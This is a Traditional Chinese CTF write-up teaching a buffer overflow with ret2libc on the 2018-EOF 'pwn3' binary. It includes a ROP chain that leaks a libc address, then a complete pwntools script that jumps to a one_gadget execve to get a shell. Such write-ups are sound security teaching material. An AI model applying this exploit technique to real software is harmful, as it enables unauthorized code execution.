/

buffer overflow搭配ret2libc之攻擊手法介紹

前言

buffer overflow 以下簡稱為 BOF。

BOF 是一個常見的攻擊手法,透過 BOF 可以達成各種不同的目的,像是:

  • ret2text
  • ret2shellcode
  • ret2syscall
  • ret2libc

本文將透過 2018-EOF 的 pwn3 來說明 ret2libc 的攻擊手法

分析題目

(題目給了一個 ELF 檔案 以及 libc.so.6)

拿到題目第一步,先丟到 IDA 中逆向

1

同時查看 ELF 檔案的保護狀態

2

這兩個線索加起來(沒有 canary, 使用 read 函數),第一個想到的就是 BOF

但是程式中並沒有現成的 function 可以用,我們的目的是 get shell

然而在題目給的 libc.so.6 中,發現了 execve

3

困難點

我們並不知道 libc.so.6 load 進 memory 之後的記憶體位置是多少,只知道 execve 相對於 libc.so.6 的 offset 是多少 (0xf1147)

但是程式中有一個 puts 函數,如果我們能利用他來印出 GOT 的 main 位置並且與 binary 裡面的 main 位置相減,就知道整個函式庫載入到 memory 的哪個位置了

payload

先備知識:

Linux x86-64 下的 calling convention

參數少於 7,參數從左到右放入暫存器順序為: rdi, rsi, rdx, rcx, r8, r9

1
2
3
4
5
6
7
payload = flat([
offset, # 透過 read 蓋一堆 'a' 直到 ret addr
pop_rdi_ret, # 設定 puts 的參數,只有一個,所以利用 pop_rdi 即可
elf.got['__libc_start_main'], # puts 的參數 1
elf.plt['puts'], # 執行 puts
elf.symbols['main'] # 執行完 puts 重新執行 main
])

如此一來程式的流程就會變成,印出 elf.got['__libc_start_main'] 並且重新執行 main

接著只需要把印出的記憶體位置用 u64 打包並且減去 main 在程式中未載入時的位置就可以得知 load 到 memory 中的位移

把位移再加上用 one_gadget 找到的 execve 就大工告成了!

1
2
3
4
payload2 = flat([
offset,
u64(r.recv(6)+'\x00\x00') - libc.symbols['__libc_start_main'] + one_gadget
])

以下是完整 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

elf = ELF('./pwn3')
#libc = ELF('libc.so.6') #題目給的
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #本地測試

context(arch = 'amd64',log_level='debug')
r = process('./pwn3')

offset = 'a'*0x10
pop_rdi_ret = 0x4006d3
one_gadget = 0xf1147

payload = flat([
offset,
pop_rdi_ret,
elf.got['__libc_start_main'],
elf.plt['puts'],
elf.symbols['main']
])
r.sendline(payload)
r.recvline()

payload2 = flat([
offset,
u64(r.recv(6)+'\x00\x00') - libc.symbols['__libc_start_main'] + one_gadget
])

r.sendline(payload2)
r.interactive()